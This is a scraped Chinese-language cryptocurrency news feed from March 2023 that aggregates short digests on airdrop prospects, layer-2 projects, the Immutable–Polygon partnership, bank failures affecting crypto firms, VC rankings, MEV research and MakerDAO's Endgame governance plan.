    Chainfeeds 导读： 早期的 Arbitrum 用户将从 ARB 空投中获得 1 万至 2 万多美元。早做准备可以获得相应的空投机会。加密货币 KOL Thor Hartvigsen 介绍了值得关注的、即将推出代币的 5 个项目以及获取空投的途径。 文章来源： https://twitter.com/thorhartvigsen/status/1637758584074403841 文章作者： Thor Hartvigsen 观点： Thor Hartvigsen：1）zkSync。Matter Labs 正在构建 zkSync Era：一种 zkEVM（以太坊之上的 Layer2），以及用于应用特定目的的所谓超级链（Layer3）。zkSync 已经筹集了 4.58 亿美元，并宣布有 2/3 的原生代币专门为社区服务，zkEVM 目前处于「Full Launch Alpha」阶段，开发人员正在将其应用程序接入该链。【原文为英文】 内容来源 Thor Hartvigsen：2）Celestia。Celestia 正在构建模块化的区块链解决方案，包括：数据可用性层；主权 Rollup；量子引力桥等。迄今已筹集了 5600 万美元。Celestia 已确认原生代币通过 POS 来确保网络安全。团队公开表示，测试网或开发网与空投无关。主网将于 2023 年晚些时候推出，并可能奖励早期用户。【原文为英文】 内容来源 Thor Hartvigsen：3）LayerZero，是一个互操作性解决方案，旨在无缝连接区块链。由 LayerZero 设计的协议是 StargateFinance。其他一些正在进一步构建，包括 Radiant Capital 和 Rage Trade。4）Scroll，是一个即将在今年晚些时候在以太坊主网上推出的 zkEVM，更类似于 Polygon zkEVM，而不是 zkSync，因为它更兼容以太坊和 EVM。我个人认为早期支持主网的用户可能会获得空投奖励。5）Sui，正在构建一个使用 Move 编程语言的 Layer1 区块链，并确认将向早期用户分发 SUI。【原文为英文】 内容来源  ( 2 min )
    【英文长推】浅谈 Immutable 与 Polygon Labs 之间的合作
    Chainfeeds 导读： 今日 Immutable 宣布和 Polygon Labs 建立战略合作关系，加速 Web3 游戏发展和采用。Polygon Labs 团队成员 Rainy Reece 解释了 Immutable 与 Polygon Labs 之间的合作原因以及如何进行合作。 文章来源： https://twitter.com/rainyreece_/status/1637974599320186884 文章作者： Rainy Reece 观点： Rainy Reece：两个 Web 3 巨头意识到彼此竞争并不符合他们的最佳利益，更多地是与更大的力量竞争。Immutable 和 Polygon 通过战略合作共同构建 Web3 游戏的未来。Immutable zkEVM 将使用 Polygons zkEVM 为任何希望在其上构建的游戏工作室启动定制 zkEVM。这些 zkEVM 将以 MATIC 抵押，并以 IMX 支付 gas 费。【原文为英文】 内容来源 Rainy Reece：这些 zkEVM 为开发者提供解决方案，让他们做自己擅长的事情：只需构建即可。最终，玩家将能够完全拥有数字化游戏资产，但也可以享受平稳、快速和有趣的常规游戏体验。这将使大型游戏工作室与最值得信赖的人一起构建，并为玩家打开一个新世界。【原文为英文】 内容来源  ( 2 min )
    以太坊扩容方案 Fuel 启动 Beta-3 测试网，引入 P2P 网络并可同步运行全节点
    以太坊扩容方案 Fuel 启动 Beta-3 测试网，引入 P2P 网络并可同步运行全节点 以太坊扩容方案 Fuel 启动第三个公共测试网 Beta-3，新测试网添加了 P2P 网络，引入了在 Fuel 上 同步运行全节点的能力。与之前的测试网类似，社区成员可以通过测试应用程序、下载 Fuel 钱包并从水龙头接收测试网代币来参与 Beta-3。Beta-3 不是激励性测试网。参与该网络不会获得直接奖励。Fuel 于去年 11 月份推出 Beta-2，并增加了桥接支持，允许开发人员可以在 Fuel 上试验跨链 DApp。Beta-2 已处理超过 90 万笔结算交易。 内容来源  ( 2 min )
    OKX Ventures：以太坊上海升级后，坎昆升级潜在投资机会
    Chainfeeds 导读： EIP-4844 和 EOF 被移除出上海升级。目前坎昆升级具体细节未定，Deneb 和 KZG 仪式应该是下一次坎昆升级的内容，EOF 是否在坎昆升级中暂不确定。OKX Ventures 研究员 kiwi 撰文对坎昆升级潜在的投资机会进行了概述，包括 L2 赛道、DA 赛道和定制化 RaaS 赛道。 文章来源： https://foresightnews.pro/article/detail/28606 文章作者： Kiwibig.eth 观点： Kiwibig.eth：L2 赛道：扩容和低费会利好各个 L2 生态，ZK 赛道长期利好，且中小型 Rollup 会有更多弯道超车的机会。目前 Rollup 方案有 ZK Rollup 和 Optimism，EIP-4844 带来的扩容和低费可能会给排名较后的中小 optimisic rollup 更多机会，比如 Metis、Boba 等。 内容来源 Kiwibig.eth：数据可用性赛道：利好存储协议，例如 Swarm、filecoin 和 Storj；利好 L1 存储扩展网络，如 Eth storage，在以太坊数据可用（Data Availability）的基础上，能以更低的存储成本提供可编程存储的二层解决方案。 内容来源 Kiwibig.eth：RAAS 赛道：Eigenlayer 开启了新的再质押叙事，团队技术背景雄厚，产品种类和应用场景丰富，且目前已开发了适应数据可用性需求 EigenDA 解决方案，十分看好其未来前景；Celestia 作为模块化区块链的龙头，产品相对成熟，其下属生态项目有 Fuel、Cevmos、dYmension 和 Eclipse，值得持续关注；RAAS 赛道在初创期，目前大多数依旧在孵化阶段，产品信息较少，但是推荐关注 OP Stack 和 AltLayer。 内容来源  ( 28 min )
    【英文】Glassnode ：比特币脱离周期低点，正在进入早期牛市周期「中间地带」？
    Chainfeeds 导读： 过去一周比特币价格经历了历史上表现最好的几周之一，收盘上涨 35.8%。比特币的强劲表现实在传统金融和银行系统面临挑战的情况下出现的。以此为背景，Glassnode 对投资者在链上的行为反应进行了分析，并通过几种方式证明比特币市场似乎正在走向类似过去早期牛市的结构。 文章来源： https://insights.glassnode.com/the-week-onchain-week-12-2023/ 文章作者： Checkmate 观点： Checkmate：从观察链上活动开始，本周月平均交易量已经达到 309500 / 天，是 2021 年 4 月以来最高水平。且我们对链上新用户数量进行了估计，该指标已经达到 122000 / 天。此外，来自 Ordinals 和 Inscriptions 的新需求也给交易费用带来了上行压力。本周矿工收入已经上涨至 2022 年 6 月以来最高水平。【原文为英文】 内容来源 Checkmate：正如我们在 2 月初所探讨的，一些链上指标已经从深熊的典型条件下过渡直了更加中性和建设性的领域，例如模拟代币供应中持有的未实现利润倍数 MVRV 已经上升至 1.36。MVRV 突破 1.82 将预示着回归到平均水平，这在历史上定义了牛市早期到晚期和熊市之间的界限。此外，随着本周比特币价格突破 27000 美元，比特币价格不再有严重折扣。【原文为英文】 内容来源 Checkmate：过去 7 天内交易的代币比例略有上升，但仍然接近周期低点，类似于重大熊市趋势后的过渡期。从长期持有者（LTH）角度看，LTH-SOPR 月平均数目前正在突破年平均数，表明长期持有者的信心在恢复。【原文为英文】 内容来源  ( 7 min )
    2023 年 Crypto VC 名录：全球 300 家加密基金中谁最活跃？
    Chainfeeds 导读： Coinstack Partners 管理合伙人 Ryan Allis 对全球顶尖 300 家加密货币风险投资基金进行了分析排名并制作了相关报告，包括按基金规模分类、按全部加密投资数量分类及按活跃度分类等排名。本报告中文版本由深潮 TechFlow 编译发布。 文章来源： https://www.techflowpost.com/article/2280 文章作者： Ryan Allis 观点： Ryan Allis：全球顶尖 300 家加密货币风险投资公司管理的资本总额为 839 亿美元。旧金山是全球加密货币风险投资公司资本的第一大城市，代表着全球前 50 家加密货币风险投资公司总资本的 45.16％，其次是纽约、香港、新加坡、奥斯汀、伦敦和上海。即使在 2022 年下半年出现了经济衰退，2022 年仍然是历史上加密货币风险投资的最大年份，对公司进行了超过 262 亿美元的新资本投资，相比之下，2021 年投资额为 251 亿美元。 内容来源 Ryan Allis：2022 年第四季度新的加密货币风险投资（25 亿美元）比 2022 年第一季度（112 亿美元）低 77％。但是我们已经经过了拐点，现在正朝着上涨方向发展。2023 年 2 月，风险投资公司投资于加密 / 区块链公司的风险投资资本为 8.72 亿美元，比 2023 年 1 月的 5.74 亿美元增长了 52％。 内容来源 Ryan Allis：按基金规模来看，最大的以加密货币为重点的 VC 公司是： A16Z Crypto、Binance Labs、Multicoin、Pantera 和 Paradigm。按全部加密货币投资数量来看，前五大以加密货币为重点的 VC 公司是： Coinbase Ventures、DCG、NGC、AU21 和 Animoca。过去 12 个月里最活跃的加密货币 VC 公司是：Big Brain Holdings、Shima Capital、Infinity Ventures、GSR 和 MH Ventures。 内容来源  ( 98 min )
    【英文】MEV 弹性框架探索：如何让以太坊更具 MEV 弹性？
    Chainfeeds 导读： 自 DeFi 崛起以来，MEV 就一直是区块链安全和公平的主要威胁之一。以太坊研究员 Davide Crapis 对 MEV 生态系统现状及正在进行的解决方案进行了分析，并介绍了 MEV 弹性的一般框架，可用于评估任何被设计为使以太坊更具 MEV 弹性的机制。 文章来源： https://notes.ethereum.org/@RMFhKOrSSEWxmqjZMOT1Ag/rJb_cq8Co#MEV-Resilient-Ethereum 文章作者： davidecrapis.eth 观点： davidecrapis.eth：如果区块链的设计方式能够减轻 MEV 不利影响，包括 MEV 诱发的报酬对验证者激励的影响、由于 MEV 提取造成的损失对于诚实用户的影响及 MEV 提取收益对于攻击用户的吸引力。为此，我们需要做三件事情：1）可以有效提取 MEV 的基础设施；2）捕获大部分提取 MEV 的协议；3）捕获的 MEV 分配规则被编码至捕获协议中。【原文为英文】 内容来源 davidecrapis.eth：解决方案：1）限制用户在交易阶段的价值损失：目前正在开发的三种类型解决方案分别是在应用层限制提取的 CowSwap、通过完全加密的 mempool 避免提取及通过更有表现力的交易间接限制提取从而实现回扣机制；2）增加搜索者和建筑商的竞争以限制 MEV 损失：市场竞争越激烈，需要向下传递的收入（即提取的 MEV）比例就越高，通过增加竞争我们可以进一步减少 MEV 损失，例如为每个搜索者类别和区块构建算法开发开源策略；【原文为英文】 内容来源 davidecrapis.eth：3）通过 PBS 和重新分配调整提议者激励机制：MEV 改变了提议者激励，并引入了风险和低效率。且目前的设置中存在中继信任的问题；4）避免排他性合约和供应链分割问题：独家订单协议及缺乏无信任的接口造成了排他性合约和供应链分割问题，目前正在研究的一个更广泛的解决方案是去中心化区块构建。【原文为英文】 内容来源  ( 8 min )
    【长推】盘点 8 个已经或即将集成 Layerzero 的协议：Stargate、xSwap、LiquidSwap......
    Chainfeeds 导读： Arbitrum 宣布空投后，zkSync、StarkNet 及 Layerzero 等尚未空投的项目也再度吸引了市场注意力。加密研究员 yyy 撰文解析了基于 Layerzero 实现的 8 个协议，包括 5 个已经集成 Layerzero 的协议和 3 个即将集成的协议。 文章来源： https://twitter.com/y_cryptoanalyst/status/1637796808855306240 文章作者： yyy 观点： yyy：已集成 Layerzero 主网的协议：1）Stargate：全链 DeFi 协议，支持包括以太坊、Arbitrum、Optimism 等 8 大网络跨链资产互转；2）LiquidSwap：Pontem 核心产品之一，目前支持多种蓝筹资产及稳定币跨链转移，不仅支持 EVM 兼容网络，还支持 Aptos 非 EVM 兼容链；3）Aptos：是 Layerzero 交互必不可少的一环，支持以太坊、Arbitrum、Optimism、Avanlanche、Polygon 及 BNB 6 大 EVM 兼容链到 Aptos 的双向资产跨链转移； 内容来源 yyy：4）xSwap：SushiSwap 旗下一款基于 Layerzero 跨链 Swap 应用，支持以太坊、Arbitrum、Optimism、Avanlanche、Polygon、Fantom 及 BNB 的资产跨链兑换；5）Hashflow：基于 Layerzero 跨链 Swap 应用，支持以太坊、Arbitrum、Optimism、Avanlanche、Polygon 及 BNB 资产跨链互换。 内容来源 yyy：即将集成 Layerzero 主网的协议：1）Radiant：旨在成为基于 Layerzero 首个去中心化全链货币市场，是 AAVE fork，刚刚完成 V2 版本的迭代升级，预计在 V3 版本升级中实现全方位集成 Layerzero；2）Rage Trader：Arbitrum 上去中心化永续合约平台，将于 2023 年 Q2 扩展至多链并升级迭代至 V2 版本；3）Altitude：基于 Layerzero 技术架构，专注于蓝筹资产 1:1 跨链无缝转移的协议。 内容来源  ( 2 min )
    读懂 TreasureDao 迭代之路：从 Loot 仿盘到 Web3 任天堂
    Chainfeeds 导读： The Beacon 爆火后，背后游戏孵化的 TreasureDAO 生态也受到了市场的关注。北大学生区块链中心研报作者 Chuan Lin 对从数据层面对比分析目前 TreasureDao 生态发展状况，并介绍了 TreasureDAO 生态组成与重点项目。本文原写于 2022 年 12 月。 文章来源： https://pkublockchain.substack.com/p/treasure-dao 文章作者： Chuan Lin 观点： Chuan Lin：项目发展史：1）2021 年 8 月早期发展 Loot 仿盘 Treasure NFT：官方似乎一直在撇清 Treasure NFT 的历史，早期 Twitter 已注销，官网也没有提及 Treasure NFT；2）2021 年 10 月链游 Legions 、Life NFT 与由空气币出发的 Magic 发展史；3）2021 年 11 月 Treasure Dao 建立：移交了团队权利，并指定其成为 MAGIC 激励唯一接收者；4）2022 年步入正轨，开启链游平台叙事：不断创建链游，以及吸纳外部链游或其它项目进来，并最终形成一个以 MAGIC 为核心的生态系统。 内容来源 Chuan Lin：Treasure DAO 生态数据表现：1）运营数据：用户数据在 2022 年 12 月第三周达到顶峰，自第四周起目前处于趋减状态，新用户也在减少；2）社交媒体：截至 2022 年 12 月 15 日，Treasure DAO twitter 官方账号关注为 95000 人；3）MAGIC 代币表现：已登陆如 Coinbase，Binance，OKEX 等 20 多家交易所，总市值约一亿三千万美元，完全稀释后市值为两亿两千万。 内容来源  ( 7 min )
    DefiLlama 团队达成协议：目前无计划发行 LLAMA 代币，任何空投都将与社区讨论
    DefiLlama 团队达成协议：目前无计划发行 LLAMA 代币，任何空投都将与社区讨论 DefiLlama 推特发文称，目前没有发行 LLAMA 代币的计划，任何空投都将与社区讨论。DefiLlama 团队为昨天发生的事件道歉，团队将采取措施以更加透明的方式运作，以确保这种情况不会再次发生。此前，DefiLlama 团队因是否发行代币而决裂，创始人 0xngmi 推出分叉版本网站 Llama.Fi。 内容来源 观点： 0xngmi：所有工作将在 defillama.com 上继续，llama.fi 已重定向到 defillama.com。 内容来源  ( 2 min )
    加密交易公司 Auros 完成 1700 万美元融资，Vivienne Court Trading 和 Bit Digital 领投
    加密交易公司 Auros 完成 1700 万美元融资，Vivienne Court Trading 和 Bit Digital 领投 据 CoinDesk 报道，加密交易和做市公司 Auros Global 在进行重大债务重组后，上周从法院监督的临时清算中获释，并获得了由传统高频交易公司 Vivienne Court Trading 和上市比特币矿业公司 Bit Digital 领投的 1700 万美元融资，其他投资者包括资产管理公司和区块链技术开发商 Trovio、风险投资公司 Primal Capital、交易公司 Epoch Capital 以及 Optiver 部分交易员。 Auros Global 在去年 11 月遭到流动性问题，当时其约 2000 万美元的数字资产被困在现已破产的交易所 FTX 上，并且未能支付约 1800 万美元的 DeFi 贷款。在英属维尔京群岛申请临时清算后，该公司在法庭监督下花了大约 5 个月的时间就如何偿还未偿债务和偿还债权人进行谈判。Auros 上周三收到英属维尔京群岛法官的法庭命令，终止临时清算程序。 内容来源  ( 33 min )
    【英文长推】去中心化交易平台 prePO 即将在 Arbitrum 上开放早期存款，一文了解其机制及特点
    Chainfeeds 导读： 去中心化交易平台 prePO 允许用户在 ARB 上市前做多或做空。加密研究员阿尔法新酱 | 0xShinChan 对去中心化交易平台 prePO 的运作机制、生态关键角色及设计机构进行了分析解读。 文章来源： https://twitter.com/0xShinChannn/status/1637851783853899780 文章作者： 阿尔法新酱 | 0xShinChan 观点： 阿尔法新酱 | 0xShinChan：去中心化交易平台 prePO 允许任何人在任何 pre-IPO 或 pre-Token 项目做多或做空。其头寸是合成的，所有头寸都由 USDC 完全抵押，且可无限扩展。prePO 生态中存在 3 个关键角色：LP 通过向 prePO 市场提供稳定币赚取交易费用、交易者构建多头或空头头寸，持有 PPO 代币的 Pregens 可以参与 prePO DAO 治理。【原文为英文】 内容来源 阿尔法新酱 | 0xShinChan：prePO 所有头寸的基础质押品是 prePO 抵押代币，由一篮子 USD 稳定币组成，例如 yearn 的 yvUSDC。这种设计能够确保交易者和 LP 在所有 prePO 资产上获得被动收益。且 prePO 的结构设计是为了最大限度减少 LP 在一个位置上可能产生的最大损失，这是通过为每个代币设定价格下限支付范围，通过两个 AMM 头寸的自然对冲及可变市场风险来实现的。【原文为英文】 内容来源 阿尔法新酱 | 0xShinChan：prePO 将于 3 月 18 日 22:00 在 Arbitrum 上开放早期存款，支持 Arbitrum 与 OpenSea 等前期代币，可能包括 Arbitrum（ARB）、StarkWare（STRK）、MetaMask、zkSync、OpenSea、Gnosis Safe（SAFE）、Lens 等。早期存款用户还可通过 Lido 整合获得 PPO 奖励和 ETH 定投收益。【原文为英文】 内容来源  ( 2 min )
    知情人士：Coinbase 曾在硅谷银行破产后向 Circle 提供约 30 亿美元即时信贷额度
    知情人士：Coinbase 曾在硅谷银行破产后向 Circle 提供约 30 亿美元即时信贷额度 据「财富」杂志援引知情人士报道，Coinbase 曾在硅谷银行破产后向 Circle 提供约 30 亿美元即时信贷额度以保证 USDC 储备流动性。 此前消息，Circle 曾披露其约 400 亿美元的 USDC 储备中有 33 亿美元保存在硅谷银行中。 内容来源  ( 15 min )
    Aavegotchi 背后开发团队 Pixelcraft Studios 完成 3000 万美元代币融资
    Aavegotchi 背后开发团队 Pixelcraft Studios 完成 3000 万美元代币融资 元宇宙游戏 Aavegotchi 背后开发团队 Pixelcraft Studios 通过代币销售完成 3000 万美元融资。本轮销售于 2020 年 9 月 14 日开始，GHST 代币销售结构为去中心化资助 ICO，持续两年后最终由于 DAI 稳定币的稳定性存在不确定性，AavegotchiDAO 投票终止该销售。所筹资金将在社区参与者之间分配，Aavegotchi 主要开发者 Pixelcraft Studios 获得 25%，DAO Treasury 获得剩余的 2250 万美元 ，所有资金都用于开发、营销和流动性规定或协议奖励。此外，已经公布的 Aavegotchi 2023 年路线图包括由 Polygon Supernets 提供支持的全新游戏区块链（GHST 作为 Gas 代币），新的跨平台游戏，及 Aavegotchi 协议的完全链上去中心化。 内容来源  ( 6 min )
    Immutable 将与 Polygon Labs 合作构建 Immutable zkEVM
    Immutable 将与 Polygon Labs 合作构建 Immutable zkEVM 以太坊二层扩容方案 Immutable X 开发团队 Immutable 宣布和 Polygon Labs 建立战略合作关系，加速 Web3 游戏发展和采用。Immutable 将使用 Polygon 零知识技术构建新的 EVM 兼容的 ZK Rollup 扩容解决方案 Immutable zkEVM，IMX 将扩展成为 Immutable zkEVM 原生 Gas 代币，且 Immutable 目前的收费效应将扩展至 Polygon 上所有新 zkEVM。 内容来源 观点： Immutable：IMX 效用升级计划：1）平台费用 20% 必须以 IMX 支付，该效用将在扩展到所有不可变的 zkEVM 环境和应用时增强扩展；2）IMX 将作为 Immutable zkEVM 核心 Gas 货币，成为原生网络代币。【原文为英文】 内容来源 Sandeep Nailwal（Polygon 联合创始人）：Immutable zkEVM 最开始是一个单一运营商链，随后将迁移至一个 Polygon 质押多验证者链，质押用户和委托用户将会获得交易费用，不仅如此，Immutable 将能够让多个大型工作室推出自己的特定应用链，这些应用链都将由 MATIC 托管，Gas 费用将归 MATIC 托管人所有。IMX 也将能够作为 Immutable zkEVM 原生 Gas 代币。【原文为英文】 内容来源  ( 2 min )

  • Open

    Coinbase停止支持Signature Bank的数字支付平台Signet
    PANews 3月21日消息，据路透社报道，加密交易所Coinbase Global周一表示，在美国监管机构控制Signature Bank一周多后，它已停止支持Signature Bank的数字支付平台Signet。 该交易所表示，它正在寻找新的技术提供商，或者希望更清楚地了解Signet的结果，依赖Signet的Coinbase用户将无法在传统银行营业时间以外进行交易。据悉，Signet允许实时加密货币到法定货币交易。  ( 4 min )
    Coinbase将Arbitrum（ARB）列入上币路线图
    PANews 3月21日消息，Coinbase Assets发推表示，已将Arbitrum（ARB）列入上币路线图。 此前消息，Arbitrum将于3月23日向其社区成员空投代码为ARB的治理代币。  ( 4 min )
    摩根大通提出First Republic Bank救助新计划，包括注资和出售银行
    PANews 3月21日消息，据CNBC报道，知情人士透露，摩根大通首席执行官Jamie Dimon制定了一项援助First Republic Bank的新计划，可能涉及将多家美国大银行此前向First Republic提供的300亿美元存款部分或全部转化为注资。此外，出售这家银行也是可能选项。First Republic股价在今日暴跌47%，本月迄今为止已下跌90%。据此前消息，摩根大通和其他10家银行上周宣布，他们将向First Republic Bank提供300亿美元的存款救助。First Republic Bank也表示已向美联储和联邦住房贷款银行借款数百亿美元，以应对存款外流。  ( 4 min )
    DefiLlama：目前无计划发行LLAMA代币，任何空投都将与社区讨论
    PANews 3月21日消息，DefiLlama推特发文称，目前还没有发行LLAMA代币的计划，任何空投都将与社区讨论。DeFiLlama团队要为昨天发生的事件道歉，这是由于团队内部沟通不畅和误解造成的。团队将采取措施，以更加透明的方式运作，以确保这种情况不会再次发生。据此前消息，DefiLlama团队因是否发行代币而决裂，创始人0xngmi已推出分叉版本网站Llama.Fi。  ( 4 min )
    赵长鹏：银行不断陷入破产循环，新银行难以获准参与市场竞争
    PANews 3月21日消息，币安CEO赵长鹏推特发文称，每隔十年左右，都会有一批银行倒闭。我们对其进行救助，然后它们再次陷入破产循环，且每一次倒闭的成本都更高。与此同时，新银行获准参与市场竞争非常困难。新银行也被要求按照与破产银行完全相同的方式运营。这不符合自由市场的定义。有用户建议赵长鹏购买一家现有银行，赵长鹏表示，那意味着必须处理所有遗留业务。  ( 4 min )
    土耳其加密货币交易所Metatime完成1100万美元的种子轮融资
    PANews 3月21日消息，据TheBlock报道，尚未启动的土耳其加密货币交易所 Metatime 筹集了 1100 万美元的种子资金。土耳其投资公司 Yildiz Tekno GSYO 和多个未公开姓名的天使投资人参投。这家位于伊斯坦布尔加密初创公司正在开发交易所、钱包、区块链、NFT 市场和稳定币。 Metatime 的联合创始人兼首席执行官 Yusuf Sevim 表示，Yildiz 投资 15 万美元购买了 Metatime 1% 的股权。其余的资金——1100 万美元——是由天使投资人在代币融资中提供的。共有 33 位未公开身份的天使投资人购买了 MetaCoin (MTC) 代币，1 亿个 MTC 以 5 美分的价格售出，另外 1 亿个 MTC 以 6 美分的价格售出。Metatime 的交易所、区块链、稳定币和 MTC 代币将于 11 月 11 日上线。NFT 市场和钱包预计将于明年第一季度推出。  ( 4 min )
    新加坡金管局计划在今年年中之前公布加密货币和稳定币的磋商反馈
    PANews 3月20日消息，新加坡金融管理局( MAS) 周一表示，其目标是在今年年中之前公布加密货币和稳定币的磋商反馈。 MAS于去年10月发布了咨询文件，该文件寻求对拟议监管措施的回应，以保护消费者免受加密交易风险并支持稳定币的发展。反馈咨询期已于12月21日结束。MAS 收到了广大受访者的大量反馈。MAS 目前正在审查收到的反馈，并打算在 2023 年中期公布对咨询反馈的回应。  ( 4 min )
    Tether于波场网络增发10亿枚USDT
    PANews 3月20日消息，据Whale Alert数据显示，稳定币发行商Tether于北京时间3月20日21:56:33在波场网络增发10亿枚USDT。 Tether首席技术官Paolo Ardoino补充表示，这是一笔在波场网络已授权但未发行的交易，意味着本次增发将用于下一次发行请求和链上交互。  ( 4 min )
    Signature Bank：周一重新开放，（业务）没有受到限制或中断
    PANews 3月20日消息，据金十报道，Signature Bank表示，周一重新开放，（业务）没有受到限制或中断。客户仍将由私人客户组提供服务。 今日早些时候报道，美国联邦存款保险公司（FDIC）表示，Signature Bank存款将由纽约社区银行子公司承担，数字银行业务存款除外，FDIC将直接向账户与数字银行业务相关的客户提供这些存款。  ( 4 min )
    Maker创始人的新“终局”治理改革提案：三大功能和大致时间表
    作者：MakerDao联合创始人Rune Christensen 编译：Felix, PANews 介绍 终局计划（Endgame）是MakerDAO的全面治理改革，旨在应对区块链行业面临的关键机遇和挑战。通过建立弹性和可靠的治理平衡，让Maker治理更加高效、透明和包容。为了增强治理弹性，终局计划还制定了可扩展和可并行的产品创新和增长战略。 这篇文章简要概述了终局计划的3个主要功能，并给出了实施的大致时间表。 通过Maker宪法MIP提案后立即实施 Maker宪法和框架范围作为规则手册，阐明了角色、责任和决策制定渠道。这些框架不仅减少了歧义，而且能避免干扰，让DAO的工作朝着宏远目标迈进。通过易于使用的软件工具，例如数据仪表板和AI聊天机器人，让所有治理参与者（而不仅仅是内部人员）都可以访问和审计规则、流程及其结果。 Maker宪法的核心规则和定义是不可更改的，旨在为少数代币持有者提供保护，并防止系统因可能出现的去中心化，而导致风险范围扩大或权力平衡的变化。但这在终局计划的所有3个核心功能都实现之前不会生效，因此仍然可以对核心规则进行早期微调。 宪法选举委员会 (CVC) 是开放性的，由MKR代币持有者组成。委员会为MKR持有者提供了一个公共平台，以便接收详细的状态报告和专业建议。基于此平台，有助于委员会制定科学决策。 Maker宪法的一个重要方面是超越了以往以财富为目的，通过基金将捐款分配给慈善机构，并随着MakerDAO的成功而逐渐扩大规模。鼓励参与者从MakerDAO的广泛成功中寻求长期、整体的价值，而不是狭隘和短期的财富榨取。 将于2023年晚些时候实施 “射手座引擎（SE）”通过锁定MKR，将MKR持有者的投票权委托给选举委员会，以此来鼓励MKR持有者参与治理。此过程会通过用户友好的游戏化前端来实现，类似于多党民主中，选举政党的过程（投票权以MKR持有量加权）。 SE用户能以Dai（Maker协议盈余的25%）或SubDAO代币的形式，获得改进和保护Maker治理工作的补偿。SE征收15%的退出费，当用户退出时，这笔费用将从锁定的MKR中销毁，以激励其长期通过委员会等治理工具解决问题。 2024年实施 SubDAO在MakerDAO中是半独立的专业部门。他们拥有自己的治理代币和治理流程，可实现快速增长，以及专业化的决策制定。 SubDAO的主要任务包括维护去中心化前端、分配Dai抵押品、处理运营效率风险、边际决策以及试验创新产品和增长战略。SubDAO的治理流程和工具会沿用MakerDAO的流程和工具，从而简化操作。 在终局计划中，Maker会逐渐不再维护原生金库。相反，SubDAO将以较低的基本利率稳定费从Maker协议中批量生成Dai。然后将Dai分配给其他DeFi协议、现实世界资产或它们自己的本地金库。SubDAO涵盖所有附带的抵押成本、预言机、维护、升级和其他相关费用。此外，SubDAO还需维持初始资本，并对所有抵押品的风险敞口承担第一笔损失。作为回报，SubDAO可以收取高于基本利率的差价。Maker治理可以消除几乎所有与日常运营相关的成本和复杂性，并仅专注于减少尾部风险和资产负债管理。 SubDAO和MKR代币持有者的激励机制，通过密切关联的经济机制而保持协调一致。SubDAO代币将通过算法创建，并广泛分发给Maker Protocol用户，以促进去中心化和多元化的社区发展。通过这种去中心化与广泛的代币分配相结合，使每个SubDAO能够在有机的、自下而上的过程中找到其独特的专业化。  ( 4 min )
    PA日报 | SPACE ID发布空投细则；欧盟议会将于4月18日讨论加密法案MiCA
    今日要闻提示： 1.欧洲加密法案MiCA将于4月18日提交至议会进行讨论 2.百度：文心一言云服务将于3月27日上线 3.FDIC：Signature Bank存款将由纽约社区银行子公司承担，数字银行业务存款除外 4.SPACE ID发布空投细则：超29万个地址有资格领取，3月22日开放申领 5.Osmosis基金会已将至少10%财库资产兑换为比特币 6.币安将于24日凌晨1点上线Arbitrum (ARB)的交易 7.做市商DWF Labs购买2000万美元的Synthetix(SNX)代币 8.CoinShares：上周数字资产投资产品净流出9470万美元 监管消息 美联储联手多国央行加强美元流动性供给 据新华财经引援美联储官方网站当地时间19日新闻稿，加拿大央行、英国央行、日本央行、欧洲央行、美联储和瑞士央行宣布了一项协调行动，通过美元流动性互换安排加强流动性供给。 为提高互换额度美元资金供给的有效性，目前提供美元操作的央行已同意将7天到期操作的频率从每周增加到每天。这些日常操作将于2023年3月20日（本周一）开始，并将至少持续到4月底。 这些央行之间的互换额度网络是一套可用的常备工具和缓解全球融资市场压力的重要流动性保障，从而有助于减轻这种压力对家庭和企业信贷供应的影响。 今日晚些时候消息，美国中型银行联盟要求FDIC为所有存款提供两年保险。 欧洲加密法案MiCA将于4月18日提交至议会进行讨论 据CoinDesk报道，根据欧洲议会公布的议程，欧盟加密市场法规（MiCA）将于 4 月 18 日提交至议会进行讨论。该法律将为欧盟引入加密货币行业许可制度。在 MiCA 的讨论之后将进行资金转移监管法律的讨论，该法律要求加密货币服务提供商验证客户身份。 港财库局许正宇：正研究“稳定币”监管制度，拟在2024年实施相关监管 香港特区政府财经事务及库务局局长许正宇在Aspen Digital Web 3投资峰会上表示，截至2023年2月底，投资推广署已收到超过80家与虚拟资产相关的内地和外国公司表示有意在香港设立业务。这些公司包括虚拟资产交易所、区块链基础设施公司、区块链网络安全公司、虚拟货币钱包和支付公司，以及其他构建Web3生态的项目。他们主要询问了政策声明的实施细节、监管要求、人才入境的签证要求、对VA和Web3领域的针对性支持措施等，并探讨了在香港设立企业的可行性。 截至2023年2月底，共有23家来自内地、加拿大、欧盟(欧盟)国家、新加坡、英国(联合王国)及美国(美国)的公司向投资推广署表示计划在香港设立办事处。业务领域包括虚拟资产交易、区块链基础设施、区块链网络安全等。 此外，许正宇还表示：“香港金融管理局正在研究“稳定币”的监管制度，目标是在2024年实施相关监管。” NFT 元宇宙 The Sandbox计划于年底前实施Polygon ID，以增强其KYC计划 元宇宙游戏平台The Sandbox在推特上表示：“The Sandbox正在与Polygon Labs实验室合作，致力于在年底前实施Polygon ID。我们重视去中心化和隐私，并将使用Polygon ID来增强我们的KYC计划。用户的安全和隐私是我们的首要任务。” 此前3月2日消息，Polygon使用零知识证明推出Web3身份识别服务“Polygon ID”。 百度：文心一言云服务将于3月27日上线 据金十报道，百度宣布，文心一言云服务将于3月27日14:00上线。据悉，目前已经有包括互联网、媒体、金融、保险、汽车、企业软件等行业的400多家头部企业宣布加入百度“文心一言”生态。 此前3月16日消息，百度正式发布大语言模型“文心一言”，并开放内测。百度曾表示在完成内侧后面向公众开放。 项目动态 FDIC：Signature Bank存款将由纽约社区银行子公司承担，数字银行业务存款除外 据CoinDesk报道，美国联邦存款保险公司（FDIC）在美国时间周日的一份新闻稿中表示，根据一份购买和承担协议，从周一开始，前Signature Bank(现为Signature Bridge Bank)持有的所有存款将由纽约社区银行(New York Community Bank)的子公司Flagstar Bancorp, N.A承担。 Signature Bridge银行的储户(与数字银行业务相关的储户除外)将自动成为Flagstar的储户，并将继续由FDIC在保险限额内提供保险。 Flagstar银行的出价不包括与前Signature Bank数字银行业务相关的40亿美元存款。根据新闻稿，FDIC将直接向账户与数字银行业务相关的客户提供这些存款。 此外，今日晚些时候消息，纽约社区银行将收购Signature Bank约380亿美元资产，包括360亿美元债务。 SPACE ID发布空投细则：超29万个地址有资格领取，3月22日开放申领 据官方博客，Web3身份平台SPACE ID公布其原生代币ID的空投规则。本次空投将向平台早期用户和生态系统贡献者分配4200万枚ID，占总供应量的2.1%。 